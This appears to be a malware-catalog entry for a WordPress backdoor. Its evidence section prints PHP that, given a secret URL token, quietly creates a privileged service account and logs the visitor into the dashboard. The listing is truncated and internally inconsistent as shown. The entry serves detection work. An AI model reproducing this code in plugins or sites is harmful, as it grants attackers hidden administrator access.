0b/1b/0b1ba5a31320d4b8077e7f52f3bb25dfe87f1fff3f5668cf3334b51b25d1a6f1
Backdoor creates admin user
Request token check with privileged user creationRequest token with WordPress dashboard bypass
SHA-2560b1ba5a31320d4b8077e7f52f3bb25dfe87f1fff3f5668cf3334b51b25d1a6f1
MaleculeO₃(CPPr)H₅(Cm₂Db₂FOs₃Po)Md(Pt₃)
Evidence
1<?php
2define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH…' ); // 32 characters
3define( 'LOADSTACK35C_FIELD', '_9f5696' );
4define( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );
5define( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw…' ); // 22 characters
6
7final class LoadStack35c {
8 private function __construct() {
9 add_action( 'init', array( $this, 'handle_sync' ), 1 );
10 }
11
12 public function handle_sync() {
13 if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {
14 $user = get_user_by( 'login', self::SVC_LOGIN );
15 if ( ! $user ) {
16 $uid = wp_insert_user( array(
17 'user_login' => self::SVC_LOGIN,
18 'user_pass' => self::SVC_PASS,
19 'user_email' => self::SVC_LOGIN . '@example.org',
20 'display_name' => 'Site Tools',
21 'role' => 'editor',
22 ) );
23 if ( is_wp_error( $uid ) ) return;
24 $u = new WP_User( $uid );
25 $u->add_cap( 'manage_options' );
26 $u->add_cap( 'install_plugins' );
27 $user = get_user_by( 'id', $uid );
28 }
29 wp_set_current_user( $user->ID, $user->user_login );
30 wp_set_auth_cookie( $user->ID, true, is_ssl() );
31 wp_safe_redirect( admin_url( 'index.php' ) );
32 exit;
33 }
34 }
35}
36
37register_activation_hook( __FILE__, function () {
38 if ( ! get_option( 'load_stack_35c_sync_token' ) ) {
39 update_option( 'load_stack_35c_sync_token', 'j0j8nxxH…', false );
40 }
41} );
42
43LoadStack35c::instance();